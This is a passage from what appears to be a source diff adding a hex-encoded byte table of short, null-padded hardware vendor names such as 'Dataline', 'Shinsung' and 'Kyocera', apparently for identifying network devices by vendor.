0x72, 0x64, 0x00, +0x41, 0x74, 0x68, 0x65, 0x6e, 0x61, 0x54, 0x65, +0x44, 0x61, 0x74, 0x61, 0x6c, 0x69, 0x6e, 0x65, +0x53, 0x68, 0x69, 0x6e, 0x73, 0x75, 0x6e, 0x67, +0x53, 0x65, 0x71, 0x75, 0x65, 0x6c, 0x54, 0x65, +0x56, 0x72, 0x6d, 0x61, 0x67, 0x69, 0x63, 0x00, +0x43, 0x68, 0x69, 0x70, 0x2d, 0x50, 0x72, 0x6f, +0x41, 0x65, 0x72, 0x6f, 0x73, 0x61, 0x74, 0x41, +0x4f, 0x70, 0x74, 0x6f, 0x73, 0x00, 0x00, 0x00, +0x4b, 0x75, 0x6b, 0x4a, 0x65, 0x54, 0x6f, 0x6e, +0x41, 0x75, 0x64, 0x69, 0x6f, 0x76, 0x6f, 0x78, +0x4d, 0x73, 0x61, 0x41, 0x75, 0x65, 0x72, 0x00, +0x53, 0x63, 0x69, 0x6d, 0x6f, 0x6c, 0x65, 0x78, +0x44, 0x72, 0x65, 0x73, 0x64, 0x65, 0x6e, 0x2d, +0x50, 0x68, 0x6f, 0x65, 0x62, 0x65, 0x4d, 0x69, +0x4b, 0x65, 0x69, 0x63, 0x6f, 0x48, 0x69, 0x67, +0x42, 0x6c, 0x79, 0x6e, 0x6b, 0x65, 0x00, 0x00, +0x4d, 0x61, 0x73, 0x74, 0x65, 0x72, 0x63, 0x6c, +0x42, 0x75, 0x69, 0x6c, 0x64, 0x69, 0x6e, 0x67, +0x42, 0x72, 0x61, 0x6e, 0x64, 0x79, 0x77, 0x69, +0x42, 0x61, 0x79, 0x43, 0x6f, 0x6e, 0x74, 0x72, +0x43, 0x65, 0x70, 0x68, 0x65, 0x69, 0x64, 0x00, +0x45, 0x73, 0x63, 0x68, 0x65, 0x72, 0x6c, 0x6f, +0x57, 0x69, 0x6e, 0x63, 0x68, 0x65, 0x73, 0x74, +0x42, 0x65, 0x72, 0x6b, 0x73, 0x68, 0x69, 0x72, +0x41, 0x6c, 0x69, 0x70, 0x68, 0x63, 0x6f, 0x6d, +0x43, 0x65, 0x72, 0x6d, 0x65, 0x74, 0x65, 0x6b, +0x41, 0x2d, 0x54, 0x65, 0x61, 0x6d, 0x54, 0x65, +0x45, 0x6e, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x52, 0x61, 0x64, 0x6c, 0x69, 0x76, 0x65, 0x00, +0x53, 0x73, 0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f, +0x53, 0x65, 0x6d, 0x70, 0x74, 0x69, 0x61, 0x6e, +0x4b, 0x61, 0x63, 0x6f, 0x53, 0x6f, 0x6c, 0x61, +0x43, 0x68, 0x69, 0x6e, 0x61, 0x44, 0x61, 0x68, +0x50, 0x69, 0x78, 0x65, 0x6c, 0x56, 0x65, 0x6c, +0x47, 0x73, 0x59, 0x75, 0x61, 0x73, 0x61, 0x50, +0x45, 0x79, 0x65, 0x76, 0x69, 0x65, 0x77, 0x45, +0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x6e, 0x65, 0x74, +0x53, 0x65, 0x61, 0x6d, 0x69, 0x63, 0x72, 0x6f, +0x44, 0x2d, 0x54, 0x61, 0x63, 0x71, 0x53, 0x6f, +0x53, 0x74, 0x79, 0x6c, 0x65, 0x46, 0x6c, 0x79, +0x53, 0x65, 0x6e, 0x73, 0x65, 0x61, 0x6e, 0x79, +0x49, 0x68, 0x73, 0x65, 0x00, 0x00, 0x00, 0x00, +0x48, 0x69, 0x64, 0x65, 0x61, 0x53, 0x6f, 0x6c, +0x59, 0x6f, 0x75, 0x72, 0x6e, 0x65, 0x74, 0x00, +0x53, 0x70, 0x65, 0x63, 0x69, 0x61, 0x6c, 0x44, +0x50, 0x72, 0x65, 0x73, 0x73, 0x74, 0x65, 0x6b, +0x4e, 0x6f, 0x76, 0x61, 0x74, 0x65, 0x6c, 0x00, +0x48, 0x77, 0x61, 0x4a, 0x69, 0x6e, 0x54, 0x26, +0x49, 0x76, 0x65, 0x69, 0x61, 0x4c, 0x6c, 0x63, +0x50, 0x72, 0x6f, 0x6c, 0x6f, 0x67, 0x69, 0x78, +0x4f, 0x64, 0x76, 0x61, 0x00, 0x00, 0x00, 0x00, +0x53, 0x6f, 0x6c, 0x74, 0x65, 0x63, 0x68, 0x00, +0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, +0x53, 0x79, 0x6d, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x57, 0x65, 0x73, 0x75, 0x6e, 0x67, 0x54, 0x6e, +0x53, 0x65, 0x6f, 0x75, 0x6c, 0x74, 0x65, 0x6b, +0x49, 0x6f, 0x6e, 0x54, 0x6f, 0x72, 0x72, 0x65, +0x41, 0x76, 0x61, 0x6c, 0x61, 0x6e, 0x57, 0x69, +0x50, 0x61, 0x63, 0x69, 0x66, 0x69, 0x63, 0x53, +0x59, 0x6d, 0x61, 0x78, 0x54, 0x65, 0x6c, 0x65, +0x57, 0x4c, 0x47, 0x6f, 0x72, 0x65, 0x41, 0x73, +0x4d, 0x61, 0x74, 0x75, 0x73, 0x63, 0x68, 0x65, +0x49, 0x6f, 0x67, 0x65, 0x61, 0x72, 0x00, 0x00, +0x53, 0x65, 0x6a, 0x69, 0x6e, 0x45, 0x6c, 0x65, +0x42, 0x61, 0x73, 0x74, 0x65, 0x63, 0x00, 0x00, +0x50, 0x79, 0x78, 0x69, 0x73, 0x53, 0x52, 0x4c, +0x54, 0x65, 0x6c, 0x69, 0x74, 0x43, 0x6f, 0x6d, +0x49, 0x6e, 0x74, 0x72, 0x61, 0x63, 0x6f, 0x54, +0x53, 0x69, 0x32, 0x4d, 0x69, 0x63, 0x72, 0x6f, +0x53, 0x61, 0x6e, 0x64, 0x6c, 0x69, 0x6e, 0x6b, +0x41, 0x6e, 0x64, 0x72, 0x69, 0x74, 0x7a, 0x48, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x73, 0x6f, 0x66, +0x49, 0x6d, 0x61, 0x63, 0x73, 0x00, 0x00, 0x00, +0x45, 0x6d, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x70, 0x70, 0x74, 0x65, 0x63, 0x68, 0x00, +0x57, 0x65, 0x73, 0x63, 0x6f, 0x6e, 0x54, 0x65, +0x54, 0x6f, 0x70, 0x63, 0x6f, 0x6e, 0x74, 0x72, +0x41, 0x70, 0x52, 0x6f, 0x75, 0x74, 0x65, 0x72, +0x4d, 0x65, 0x6b, 0x69, 0x63, 0x73, 0x00, 0x00, +0x41, 0x76, 0x61, 0x6e, 0x74, 0x67, 0x61, 0x72, +0x47, 0x6f, 0x6c, 0x69, 0x61, 0x74, 0x68, 0x53, +0x42, 0x61, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x47, +0x56, 0x69, 0x64, 0x65, 0x6f, 0x66, 0x6f, 0x6e, +0x50, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x6d, +0x47, 0x77, 0x64, 0x4d, 0x65, 0x64, 0x69, 0x61, +0x54, 0x65, 0x6c, 0x73, 0x65, 0x79, 0x53, 0x50, +0x54, 0x68, 0x61, 0x69, 0x52, 0x61, 0x64, 0x69, +0x56, 0x61, 0x63, 0x6f, 0x6e, 0x00, 0x00, 0x00, +0x48, 0x6f, 0x6e, 0x65, 0x79, 0x77, 0x6c, 0x64, +0x41, 0x64, 0x65, 0x73, 0x79, 0x73, 0x42, 0x76, +0x53, 0x61, 0x74, 0x65, 0x6c, 0x4f, 0x79, 0x00, +0x45, 0x6b, 0x65, 0x2d, 0x45, 0x6c, 0x65, 0x63, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x6d, 0x69, 0x6e, +0x44, 0x62, 0x69, 0x69, 0x4e, 0x65, 0x74, 0x77, +0x45, 0x72, 0x6c, 0x70, 0x68, 0x61, 0x73, 0x65, +0x56, 0x69, 0x64, 0x65, 0x6f, 0x74, 0x65, 0x63, +0x48, 0x61, 0x6e, 0x74, 0x6c, 0x65, 0x53, 0x79, +0x54, 0x65, 0x6c, 0x65, 0x70, 0x68, 0x6f, 0x6e, +0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x69, 0x6e, 0x6b, +0x49, 0x6e, 0x66, 0x72, 0x61, 0x72, 0x65, 0x64, +0x4e, 0x6f, 0x72, 0x64, 0x69, 0x63, 0x49, 0x64, +0x52, 0x61, 0x64, 0x69, 0x6f, 0x46, 0x72, 0x65, +0x54, 0x79, 0x63, 0x6f, 0x54, 0x65, 0x6c, 0x65, +0x46, 0x69, 0x62, 0x65, 0x72, 0x62, 0x6c, 0x61, +0x52, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6e, 0x74, +0x41, 0x70, 0x72, 0x6f, 0x4d, 0x65, 0x64, 0x69, +0x47, 0x61, 0x6c, 0x76, 0x61, 0x6e, 0x69, 0x63, +0x54, 0x72, 0x69, 0x61, 0x63, 0x74, 0x61, 0x50, +0x4c, 0x65, 0x78, 0x6d, 0x61, 0x72, 0x6b, 0x49, +0x49, 0x6e, 0x70, 0x68, 0x69, 0x00, 0x00, 0x00, +0x52, 0x69, 0x6b, 0x65, 0x6e, 0x4b, 0x65, 0x69, +0x5a, 0x61, 0x6c, 0x61, 0x43, 0x6f, 0x6d, 0x70, +0x48, 0x69, 0x74, 0x61, 0x63, 0x68, 0x69, 0x48, +0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x41, 0x70, +0x41, 0x62, 0x62, 0x4f, 0x79, 0x2f, 0x4d, 0x65, +0x47, 0x6c, 0x43, 0x6f, 0x6d, 0x6d, 0x75, 0x6e, +0x43, 0x6f, 0x72, 0x6e, 0x65, 0x6c, 0x6c, 0x43, +0x43, 0x6f, 0x6e, 0x73, 0x69, 0x6c, 0x69, 0x75, +0x33, 0x64, 0x73, 0x70, 0x00, 0x00, 0x00, 0x00, +0x43, 0x73, 0x6a, 0x47, 0x6c, 0x6f, 0x62, 0x61, +0x52, 0x75, 0x73, 0x73, 0x6f, 0x75, 0x6e, 0x64, +0x4c, 0x6f, 0x68, 0x75, 0x69, 0x73, 0x4e, 0x65, +0x57, 0x61, 0x76, 0x65, 0x63, 0x6f, 0x6d, 0x41, +0x41, 0x72, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, +0x53, 0x6d, 0x73, 0x54, 0x65, 0x63, 0x6e, 0x6f, +0x4c, 0x69, 0x76, 0x65, 0x74, 0x76, 0x00, 0x00, +0x4e, 0x74, 0x63, 0x2d, 0x4d, 0x65, 0x74, 0x72, +0x43, 0x72, 0x79, 0x70, 0x74, 0x6f, 0x47, 0x72, +0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x44, 0x69, +0x42, 0x6f, 0x63, 0x6f, 0x6d, 0x53, 0x65, 0x63, +0x56, 0x6f, 0x6c, 0x6c, 0x6d, 0x65, 0x72, 0x57, +0x58, 0x32, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4c, 0x78, 0x69, 0x43, 0x6f, 0x6e, 0x73, 0x6f, +0x53, 0x65, 0x6b, 0x6f, 0x6e, 0x69, 0x63, 0x00, +0x53, 0x61, 0x6e, 0x74, 0x61, 0x63, 0x68, 0x69, +0x54, 0x65, 0x63, 0x6e, 0x6f, 0x61, 0x6c, 0x61, +0x46, 0x69, 0x72, 0x65, 0x70, 0x72, 0x6f, 0x57, +0x4d, 0x61, 0x72, 0x74, 0x69, 0x6e, 0x43, 0x68, +0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x67, 0x69, 0x6c, +0x56, 0x69, 0x73, 0x61, 0x67, 0x6f, 0x43, 0x6f, +0x53, 0x65, 0x72, 0x69, 0x61, 0x6c, 0x74, 0x65, +0x49, 0x2d, 0x57, 0x69, 0x6e, 0x00, 0x00, 0x00, +0x44, 0x69, 0x73, 0x70, 0x6c, 0x61, 0x79, 0x53, +0x53, 0x74, 0x61, 0x72, 0x6c, 0x69, 0x67, 0x68, +0x42, 0x79, 0x73, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x45, 0x73, 0x70, 0x4c, 0x6c, 0x63, 0x00, 0x00, +0x53, 0x6f, 0x6c, 0x75, 0x74, 0x72, 0x6f, 0x6e, +0x54, 0x65, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x69, +0x46, 0x75, 0x6c, 0x6c, 0x53, 0x70, 0x65, 0x63, +0x4b, 0x61, 0x70, 0x73, 0x79, 0x73, 0x00, 0x00, +0x45, 0x77, 0x33, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x54, 0x75, 0x74, 0x75, 0x73, 0x44, 0x61, 0x74, +0x45, 0x61, 0x73, 0x79, 0x33, 0x63, 0x61, 0x6c, +0x53, 0x69, 0x31, 0x34, 0x00, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x72, 0x61, 0x6e, 0x67, 0x65, 0x00, +0x57, 0x65, 0x73, 0x74, 0x65, 0x72, 0x6e, 0x45, +0x45, 0x6e, 0x73, 0x65, 0x6f, 0x00, 0x00, 0x00, +0x57, 0x69, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x54, +0x41, 0x34, 0x73, 0x70, 0x54, 0x65, 0x63, 0x68, +0x4c, 0x61, 0x63, 0x72, 0x6f, 0x69, 0x78, 0x54, +0x43, 0x79, 0x66, 0x72, 0x6f, 0x77, 0x79, 0x50, +0x41, 0x6b, 0x73, 0x79, 0x73, 0x4e, 0x65, 0x74, +0x45, 0x78, 0x63, 0x69, 0x74, 0x6f, 0x45, 0x6c, +0x47, 0x6c, 0x65, 0x6e, 0x73, 0x6f, 0x75, 0x6e, +0x4b, 0x6f, 0x72, 0x61, 0x74, 0x65, 0x6b, 0x00, +0x57, 0x65, 0x6c, 0x69, 0x6e, 0x6b, 0x53, 0x6f, +0x43, 0x79, 0x62, 0x65, 0x72, 0x64, 0x79, 0x6e, +0x49, 0x6e, 0x74, 0x65, 0x6e, 0x6f, 0x42, 0x72, +0x43, 0x65, 0x72, 0x74, 0x69, 0x63, 0x6f, 0x6d, +0x4f, 0x6d, 0x72, 0x6f, 0x6e, 0x48, 0x65, 0x61, +0x4f, 0x6e, 0x6c, 0x69, 0x76, 0x65, 0x00, 0x00, +0x49, 0x6e, 0x64, 0x69, 0x67, 0x6f, 0x53, 0x65, +0x4d, 0x6f, 0x63, 0x61, 0x4d, 0x75, 0x6c, 0x74, +0x52, 0x6f, 0x68, 0x61, 0x74, 0x69, 0x00, 0x00, +0x43, 0x61, 0x69, 0x4e, 0x65, 0x74, 0x77, 0x6f, +0x50, 0x63, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x52, 0x69, 0x6e, 0x6e, 0x61, 0x69, 0x4b, 0x6f, +0x53, 0x68, 0x69, 0x62, 0x61, 0x75, 0x72, 0x61, +0x4e, 0x65, 0x61, 0x74, 0x45, 0x6c, 0x65, 0x63, +0x41, 0x75, 0x64, 0x69, 0x6f, 0x50, 0x72, 0x65, +0x4d, 0x6f, 0x72, 0x65, 0x67, 0x61, 0x00, 0x00, +0x46, 0x72, 0x65, 0x65, 0x67, 0x65, 0x6e, 0x65, +0x4d, 0x65, 0x64, 0x69, 0x61, 0x44, 0x65, 0x76, +0x45, 0x73, 0x61, 0x6e, 0x67, 0x54, 0x65, 0x63, +0x4d, 0x69, 0x74, 0x61, 0x63, 0x54, 0x65, 0x63, +0x49, 0x74, 0x6f, 0x68, 0x44, 0x65, 0x6e, 0x6b, +0x54, 0x69, 0x6d, 0x65, 0x6b, 0x65, 0x65, 0x70, +0x47, 0x6f, 0x6f, 0x64, 0x57, 0x69, 0x6c, 0x6c, +0x41, 0x76, 0x61, 0x61, 0x6b, 0x00, 0x00, 0x00, +0x55, 0x76, 0x2d, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x42, 0x72, 0x65, 0x65, 0x7a, 0x65, 0x49, 0x6e, +0x43, 0x6f, 0x6d, 0x70, 0x75, 0x6d, 0x65, 0x64, +0x53, 0x6f, 0x75, 0x6e, 0x64, 0x65, 0x61, 0x72, +0x4e, 0x75, 0x63, 0x6f, 0x6d, 0x6d, 0x00, 0x00, +0x43, 0x65, 0x74, 0x6f, 0x6e, 0x00, 0x00, 0x00, +0x4d, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x63, 0x68, +0x4f, 0x70, 0x65, 0x6e, 0x47, 0x72, 0x69, 0x64, +0x46, 0x75, 0x74, 0x75, 0x72, 0x65, 0x6c, 0x6f, +0x53, 0x6d, 0x74, 0x26, 0x43, 0x00, 0x00, 0x00, +0x44, 0x65, 0x73, 0x69, 0x67, 0x6e, 0x44, 0x65, +0x43, 0x6f, 0x72, 0x76, 0x65, 0x6e, 0x74, 0x69, +0x53, 0x74, 0x72, 0x75, 0x6b, 0x74, 0x6f, 0x6e, +0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x53, 0x70, +0x53, 0x68, 0x69, 0x6e, 0x68, 0x69, 0x6e, 0x74, +0x4c, 0x6f, 0x67, 0x69, 0x70, 0x6c, 0x75, 0x73, +0x49, 0x6e, 0x64, 0x69, 0x61, 0x6e, 0x61, 0x4c, +0x52, 0x61, 0x74, 0x69, 0x6f, 0x45, 0x6e, 0x74, +0x4a, 0x75, 0x6d, 0x70, 0x67, 0x65, 0x6e, 0x4c, +0x49, 0x72, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x00, +0x41, 0x6c, 0x61, 0x63, 0x72, 0x6f, 0x6e, 0x00, +0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x4c, +0x4c, 0x65, 0x69, 0x6e, 0x65, 0x4c, 0x69, 0x6e, +0x45, 0x76, 0x6f, 0x63, 0x49, 0x6e, 0x74, 0x65, +0x44, 0x61, 0x63, 0x45, 0x6e, 0x67, 0x69, 0x6e, +0x48, 0x6f, 0x6d, 0x65, 0x4d, 0x75, 0x6c, 0x74, +0x52, 0x61, 0x79, 0x6c, 0x61, 0x73, 0x65, 0x00, +0x41, 0x69, 0x72, 0x74, 0x65, 0x63, 0x68, 0x54, +0x4d, 0x69, 0x74, 0x61, 0x63, 0x49, 0x6e, 0x74, +0x53, 0x65, 0x65, 0x6e, 0x65, 0x72, 0x67, 0x79, +0x42, 0x79, 0x7a, 0x6f, 0x72, 0x6f, 0x4e, 0x65, +0x50, 0x6f, 0x69, 0x6e, 0x74, 0x53, 0x69, 0x78, +0x4c, 0x75, 0x6d, 0x61, 0x73, 0x65, 0x6e, 0x73, +0x5a, 0x6f, 0x6c, 0x6c, 0x4c, 0x69, 0x66, 0x65, +0x45, 0x6e, 0x74, 0x6f, 0x72, 0x69, 0x61, 0x6e, +0x42, 0x69, 0x67, 0x65, 0x6c, 0x6f, 0x77, 0x41, +0x47, 0x61, 0x72, 0x64, 0x65, 0x53, 0x65, 0x63, +0x54, 0x65, 0x72, 0x61, 0x64, 0x69, 0x63, 0x69, +0x4d, 0x75, 0x6c, 0x74, 0x69, 0x6d, 0x65, 0x64, +0x44, 0x69, 0x67, 0x69, 0x63, 0x61, 0x62, 0x6c, +0x55, 0x77, 0x69, 0x6e, 0x54, 0x65, 0x63, 0x68, +0x4c, 0x69, 0x74, 0x65, 0x6f, 0x6e, 0x54, 0x65, +0x41, 0x66, 0x72, 0x65, 0x65, 0x79, 0x00, 0x00, +0x46, 0x72, 0x6f, 0x6e, 0x74, 0x69, 0x65, 0x72, +0x42, 0x65, 0x70, 0x4d, 0x61, 0x72, 0x69, 0x6e, +0x4b, 0x6f, 0x6f, 0x73, 0x54, 0x65, 0x63, 0x68, +0x4c, 0x69, 0x6e, 0x6b, 0x73, 0x70, 0x72, 0x69, +0x47, 0x6f, 0x77, 0x65, 0x6c, 0x6c, 0x45, 0x6c, +0x33, 0x6f, 0x6e, 0x65, 0x64, 0x61, 0x74, 0x61, +0x41, 0x62, 0x6b, 0x4e, 0x6f, 0x72, 0x74, 0x68, +0x4a, 0x67, 0x65, 0x72, 0x43, 0x6f, 0x6d, 0x00, +0x54, 0x65, 0x63, 0x68, 0x77, 0x61, 0x79, 0x00, +0x46, 0x61, 0x6d, 0x69, 0x6c, 0x79, 0x70, 0x68, +0x54, 0x72, 0x69, 0x70, 0x6c, 0x65, 0x45, 0x79, +0x4e, 0x65, 0x63, 0x41, 0x75, 0x73, 0x74, 0x72, +0x4e, 0x69, 0x70, 0x70, 0x6f, 0x6e, 0x43, 0x6f, +0x41, 0x70, 0x6f, 0x67, 0x65, 0x65, 0x4c, 0x61, +0x57, 0x6f, 0x6f, 0x72, 0x69, 0x53, 0x6d, 0x74, +0x59, 0x65, 0x44, 0x61, 0x74, 0x61, 0x00, 0x00, +0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x33, +0x41, 0x32, 0x62, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x44, 0x61, 0x69, 0x6e, 0x74, 0x72, 0x65, 0x65, +0x38, 0x30, 0x38, 0x36, 0x43, 0x6f, 0x6e, 0x73, +0x44, 0x65, 0x73, 0x61, 0x79, 0x41, 0x26, 0x56, +0x4e, 0x6f, 0x6d, 0x75, 0x73, 0x43, 0x6f, 0x6d, +0x41, 0x73, 0x74, 0x72, 0x6f, 0x6e, 0x00, 0x00, +0x54, 0x69, 0x74, 0x61, 0x6e, 0x57, 0x69, 0x72, +0x53, 0x61, 0x67, 0x72, 0x61, 0x64, 0x00, 0x00, +0x4f, 0x70, 0x74, 0x6f, 0x73, 0x65, 0x63, 0x75, +0x54, 0x65, 0x72, 0x61, 0x74, 0x72, 0x6f, 0x6e, +0x4b, 0x65, 0x6e, 0x73, 0x69, 0x6e, 0x67, 0x74, +0x50, 0x68, 0x6f, 0x74, 0x6f, 0x6e, 0x45, 0x75, +0x47, 0x62, 0x73, 0x4c, 0x61, 0x62, 0x6f, 0x72, +0x54, 0x76, 0x2d, 0x4e, 0x75, 0x6d, 0x65, 0x72, +0x43, 0x6e, 0x72, 0x73, 0x00, 0x00, 0x00, 0x00, +0x43, 0x69, 0x6e, 0x65, 0x74, 0x61, 0x6c, 0x00, +0x4b, 0x79, 0x6f, 0x63, 0x65, 0x72, 0x61, 0x00, +0x53, 0x67, 0x6d, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x4c, 0x69, 0x6e, 0x6f, 0x77, 0x61, 0x76, 0x65, +0x58, 0x6d, 0x6f, 0x73, 0x53, 0x65, 0x6d, 0x69, +0x4c, 0x61, 0x73, 0x74, 0x61, 0x72, 0x00, 0x00, +0x41, 0x76, 0x65, 0x72, 0x6c, 0x6f, 0x67, 0x69, +0x56, 0x65, 0x72, 0x69, 0x73, 0x6d, 0x6f, 0x4e, +0x50, 0x79, 0x75, 0x6e, 0x67, 0x2d, 0x48, 0x77, +0x53, 0x6f, 0x63, 0x69, 0x61, 0x6c, 0x41, 0x69, +0x53, 0x65, 0x6e, 0x73, 0x79, 0x73, 0x54, 0x72, +0x44, 0x65, 0x6c, 0x70, 0x68, 0x69, 0x00, 0x00, +0x48, 0x75, 0x61, 0x77, 0x65, 0x69, 0x53, 0x79, +0x58, 0x74, 0x72, 0x61, 0x6d, 0x75, 0x73, 0x54, +0x53, 0x6f, 0x6e, 0x79, 0x43, 0x6f, 0x6d, 0x70, +0x54, 0x79, 0x63, 0x6f, 0x45, 0x6c, 0x65, 0x63, +0x4f, 0x75, 0x6d, 0x61, 0x6e, 0x4f, 0x79, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x73, 0x69, 0x73, 0x54, +0x4d, 0x61, 0x74, 0x74, 0x65, 0x6c, 0x00, 0x00, +0x53, 0x61, 0x66, 0x65, 0x74, 0x79, 0x56, 0x69, +0x45, 0x6c, 0x62, 0x69, 0x74, 0x00, 0x00, 0x00, +0x34, 0x72, 0x66, 0x43, 0x6f, 0x6d, 0x6d, 0x75, +0x53, 0x65, 0x69, 0x53, 0x50, 0x41, 0x00, 0x00, +0x4e, 0x6f, 0x76, 0x69, 0x74, 0x61, 0x00, 0x00, +0x53, 0x75, 0x70, 0x65, 0x72, 0x66, 0x6c, 0x6f, +0x47, 0x73, 0x73, 0x47, 0x72, 0x75, 0x6e, 0x64, +0x4e, 0x6f, 0x72, 0x63, 0x6f, 0x74, 0x74, 0x00, +0x41, 0x6e, 0x61, 0x6c, 0x6f, 0x67, 0x69, 0x78, +0x48, 0x75, 0x74, 0x68, 0x45, 0x6c, 0x65, 0x6b, +0x42, 0x65, 0x79, 0x65, 0x72, 0x64, 0x79, 0x6e, +0x4a, 0x64, 0x73, 0x75, 0x46, 0x72, 0x61, 0x6e, +0x53, 0x69, 0x65, 0x61, 0x6d, 0x70, 0x47, 0x72, +0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x74, +0x5a, 0x65, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x54, +0x45, 0x70, 0x72, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x66, 0x6f, 0x72, 0x73, 0x6f, 0x6e, +0x53, 0x75, 0x74, 0x75, 0x73, 0x00, 0x00, 0x00, +0x53, 0x65, 0x67, 0x67, 0x65, 0x72, 0x4d, 0x69, +0x4c, 0x65, 0x6e, 0x6f, 0x72, 0x64, 0x42, 0x61, +0x41, 0x6e, 0x76, 0x69, 0x7a, 0x42, 0x69, 0x6f, +0x49, 0x6f, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x00, +0x53, 0x63, 0x69, 0x6c, 0x6f, 0x67, 0x00, 0x00, +0x41, 0x72, 0x65, 0x64, 0x54, 0x65, 0x63, 0x68, +0x50, 0x6c, 0x61, 0x6e, 0x65, 0x78, 0x43, 0x6f, +0x50, 0x6f, 0x6c, 0x61, 0x72, 0x45, 0x6c, 0x65, +0x41, 0x6c, 0x62, 0x72, 0x65, 0x63, 0x68, 0x74, +0x41, 0x6c, 0x6c, 0x45, 0x61, 0x72, 0x74, 0x68, +0x48, 0x75, 0x62, 0x2d, 0x54, 0x65, 0x63, 0x68, +0x43, 0x6f, 0x6d, 0x77, 0x6f, 0x72, 0x74, 0x68, +0x45, 0x61, 0x74, 0x6f, 0x6e, 0x45, 0x6c, 0x65, +0x43, 0x79, 0x70, 0x61, 0x6b, 0x00, 0x00, 0x00, +0x46, 0x6f, 0x72, 0x74, 0x65, 0x78, 0x49, 0x6e, +0x41, 0x6e, 0x61, 0x74, 0x65, 0x6b, 0x4c, 0x6c, +0x54, 0x72, 0x61, 0x6e, 0x73, 0x6c, 0x6f, 0x67, +0x56, 0x69, 0x67, 0x69, 0x6c, 0x48, 0x65, 0x61, +0x50, 0x72, 0x6f, 0x74, 0x65, 0x63, 0x74, 0x61, +0x4f, 0x70, 0x70, 0x6f, 0x44, 0x69, 0x67, 0x69, +0x54, 0x61, 0x6d, 0x75, 0x7a, 0x4d, 0x6f, 0x6e, +0x41, 0x74, 0x6c, 0x61, 0x6e, 0x74, 0x69, 0x63, +0x5a, 0x6f, 0x72, 0x74, 0x4c, 0x61, 0x62, 0x73, +0x57, 0x61, 0x62, 0x74, 0x65, 0x63, 0x54, 0x72, +0x41, 0x6d, 0x65, 0x72, 0x69, 0x67, 0x6f, 0x6e, +0x41, 0x70, 0x61, 0x73, 0x73, 0x54, 0x65, 0x63, +0x46, 0x69, 0x73, 0x68, 0x65, 0x72, 0x2d, 0x52, +0x57, 0x70, 0x73, 0x50, 0x61, 0x72, 0x6b, 0x69, +0x41, 0x70, 0x70, 0x6c, 0x69, 0x74, 0x69, 0x6f, +0x50, 0x72, 0x6f, 0x76, 0x69, 0x73, 0x69, 0x6f, +0x52, 0x75, 0x73, 0x74, 0x65, 0x6c, 0x63, 0x6f, +0x44, 0x61, 0x74, 0x61, 0x52, 0x65, 0x73, 0x70, +0x49, 0x64, 0x65, 0x61, 0x6c, 0x62, 0x74, 0x54, +0x54, 0x73, 0x69, 0x50, 0x6f, 0x77, 0x65, 0x72, +0x41, 0x6c, 0x67, 0x6f, 0x43, 0x6f, 0x6d, 0x6d, +0x49, 0x77, 0x64, 0x6c, 0x54, 0x65, 0x63, 0x68, +0x33, 0x47, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x41, +0x53, 0x75, 0x6e, 0x70, 0x6f, 0x77, 0x65, 0x72, +0x41, 0x6d, 0x70, 0x61, 0x6b, 0x54, 0x65, 0x63, +0x53, 0x79, 0x72, 0x61, 0x63, 0x75, 0x73, 0x65, +0x43, 0x6f, 0x6e, 0x63, 0x65, 0x70, 0x74, 0x72, +0x50, 0x69, 0x6d, 0x61, 0x45, 0x6c, 0x65, 0x63, +0x50, 0x6f, 0x6c, 0x6c, 0x69, 0x6e, 0x45, 0x6c, +0x4e, 0x69, 0x76, 0x69, 0x73, 0x4c, 0x6c, 0x63, +0x43, 0x61, 0x79, 0x65, 0x65, 0x43, 0x6f, 0x6d, +0x57, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x54, 0x65, +0x43, 0x6f, 0x62, 0x61, 0x6c, 0x74, 0x44, 0x69, +0x4c, 0x69, 0x74, 0x65, 0x2d, 0x4f, 0x6e, 0x49, +0x4a, 0x61, 0x6e, 0x61, 0x6d, 0x54, 0x65, 0x63, +0x41, 0x72, 0x62, 0x75, 0x72, 0x67, 0x00, 0x00, +0x43, 0x6c, 0x6f, 0x76, 0x65, 0x72, 0x45, 0x6c, +0x47, 0x6f, 0x72, 0x62, 0x61, 0x00, 0x00, 0x00, +0x48, 0x69, 0x72, 0x73, 0x63, 0x68, 0x45, 0x6c, +0x4c, 0x6e, 0x63, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x47, 0x6c, 0x6f, 0x73, 0x63, 0x6f, 0x6d, 0x00, +0x51, 0x6f, 0x6f, 0x6c, 0x54, 0x65, 0x63, 